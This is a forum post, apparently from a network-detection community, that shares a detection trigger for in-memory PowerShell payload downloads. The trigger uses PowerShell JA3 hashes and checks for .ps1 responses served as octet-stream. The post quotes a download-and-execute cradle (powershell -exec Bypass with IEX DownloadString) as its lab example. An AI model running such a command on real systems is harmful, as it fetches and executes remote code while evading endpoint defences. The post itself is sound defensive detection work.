NDR POW (2/27): POSH Watcher

A new Iranian Malware variant is out that is preying on US Government facilities but the TTPs are similar to many other forms of Malware that exist. It starts with the typical Office file downloaded via mail or web and the user clicks “enable content” which disables EDR countermeasures. Then it executes the obligatory script that runs a PowerShell command that is something like:

powershell.exe -exec Bypass -noexit -C “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.0.100/ps1.ps1’)”

Above is the example I am using in my lab but it is similar to several other efforts to download, invoke and run PowerShell modules without downloading them locally, again, evading EDR detection.

The trigger/Detector looks for two things depending on the two events we are checking (SSL_OPEN and HTTP_RESPONSE)

SSL_OPEN:
We match the PowerShell JA3 Hash with two host names, ‘pastebin’ and ‘github’ both of which are known to house malicious POSH content that is then loaded into memory to be used as a file-less attack. I have a 2nd ‘noisy’ version that requires some white listing but other high-fidelity context criteria could include the lack of SNI value, missing Cert Subject and newly minted (not valid before) dates. If interested in doing some white listing let me know, for now, we are just looking at pastbin and github.

HTTP_REQUEST:
On this event I look for an ‘.endsWith’ value of .ps1 (dot ‘ps1’) AND a Content-Type of ‘application/octet-stream’. The two together are a nice indicator that someone is loading a POSH script via HTTP. The command above hides the User-Agent value (something I used to check for) so the combination of content-type and .ps1 extension should yield good fidelity.

Below we get something like the following: image

Or for SSL_OPEN:
image
Trigger Code Below:
indent preformatted text by 4 spaces

// Description: Watching for PowerShell usage that may be out of the oridnary
// Events: SSL_OPEN, HTTP_REQUEST
// Assignments: SSL Clients, HTTP Clients
var cip = Flow.client.ipaddr;    
var sip = Flow.server.ipaddr;

// Early exits
if ( ! Flow.server.ipaddr.isExternal ) {
    return;
}

if(event == "SSL_OPEN") {
if(SSL.host === null) { return; }

if(SSL.host.match(/pastebin/i) || SSL.host.match(/github/i)) { 

    //#############################
    //# POSH/BITSADMIN JA3 Hashes #
    //#############################
    let supsect_ja3_hashes = cache('suspect_ja3_hashes', () => ({
                '13cc575f247730d3eeb8ff01e76b245f':'PowerShell/BitsAdmin/PowerShell 4.0 Windows Server 2012RT',
                '5e12c14bda47ac941fc4e8e80d0e536f':'PowerShell/BitsAdmin/PowerShell 4.0 Windows Server 2012RT',
                '2c14bfb3f8a2067fbc88d8345e9f97f3':'PowerShell/BitsAdmin Windows Server 2012RT',
                '613e01474d42ebe48ef52dff6a20f079':'PowerShell/BitsAdmin Windows Server 2012RT',
                '05af1f5ca1b87cc9cc9b25185115607d':'BitsAdmin/PowerShell 5.0 Windows 7 64 bit enterprise',
                '8c4a22651d328568ec66382a84fc505f':'BitsAdmin/PowerShell 5.0 Windows 7 64 bit enterprise',
                '235a856727c14dba889ddee0a38dd2f2':'BitsAdmin/PowerShell 5.1 Server 2016',
                '17b69de9188f4c205a00fe5ae9c1151f':'BitsAdmin/PowerShell 5.1 Server 2016',
                'd0ec4b50a944b182fc10ff51f883ccf7':'PowerShell/BitsAdmin (Microsoft BITS/7.8) Server 2016',
                '294b2f1dc22c6e6c3231d2fe311d504b':'PowerShell/BitsAdmin (Microsoft BITS/7.8) Server 2016',
                '54328bd36c14bd82ddaa0c04b25ed9ad':'BitsAdmin/PowerShell 5.1 Windows 10',
                'fc54e0d16d9764783542f0146a98b300':'BitsAdmin/PowerShell 5.1 Windows 10',
                '2863b3a96f1b530bc4f5e52f66c79285':'BitsAdmin/PowerShell 6.0 Windows Server 2012RT',
                '40177d2da2d0f3a9014e7c83bdeee15a':'BitsAdmin/PowerShell 6.0 Windows Server 2012RT',
                '36f7277af969a6947a61ae0b815907a1':'PowerShell/BitsAdmin Windows 7 32 bit enterprise',
    }));


    let hash = SSL.ja3Hash;

    for ( let ja3 in supsect_ja3_hashes ) {
        if ( hash.includes(ja3) ) {
            log("Match: " + Flow.client.ipaddr + " "  + SSL.host + " "+ supsect_ja3_hashes[ja3]);
            detect();
        

            function detect() {
                if(SSL.host === null) { sslhost = "Unknown"; } else { var sslhost = SSL.host; }

                commitDetection('POSHWeb', {
                    categories: ['sec.caution'],
                    title: cip + ' observed connecting to ' + sip + ' for the name ' + sslhost + ' JA3: ' + SSL.ja3Hash,
                    participants: [
                        { role: 'offender', object: Flow.server.ipaddr },
                        { role: 'victim', object: Flow.client.device }
                    ],
                    description: '- **Reason: **' + " PowerShell/BitsAdmin JA3 Observed: " + supsect_ja3_hashes[ja3] + "\n\n " ,
                    identityKey: [
                        Flow.server.ipaddr,
                        Flow.client.ipaddr,
                        SSL.ja3Hash
                    ].join('!!'),
                    riskScore: 85
                    })
                    log("Committed ")
                };
        }
        }
    }
}

//#########################################
//# Check for .ps extensions Activity     #
//#########################################

if(event == "HTTP_RESPONSE") {

if(HTTP.uri.toLowerCase().endsWith(".ps1") && HTTP.contentType == "application/octet-stream") {
log(cip + " " + sip + "\n" + HTTP.payload);
            commitDetection('POSHWeb', {
                categories: ['sec.caution'],
                title: HTTP.origin + ' observed connecting to ' + sip + ' for the name ' + HTTP.host + ' URI: ' + HTTP.uri,
                participants: [
                    { role: 'offender', object: Flow.server.ipaddr },
                    { role: 'victim', object: Flow.client.device }
                ],
                description: '- **Reason: **' + " Start of Payload: " + HTTP.payload.slice(0,64)  + "\n\n " ,
                identityKey: [
                    Flow.server.ipaddr,
                    HTTP.origin,
                    HTTP.host
                ].join('!!'),
                riskScore: 85
        })
    }
}

Can you wrap your code in to a code block?

Thanks.

Trying, I can NEVER get this right

Hi John,
As discussed over email, not sure how applicable this ever will be in real-world scenarios, but here is the JA3 for the latest Mac Powershell. I could see this being useful for internal testing or if you want to do a quick Proof of Detection in a POC:

 'e4d448cdfe06dc1243c1eb026c74ac9a': 'PowerShell/BitsAdmin/PowerShell 7 MAC',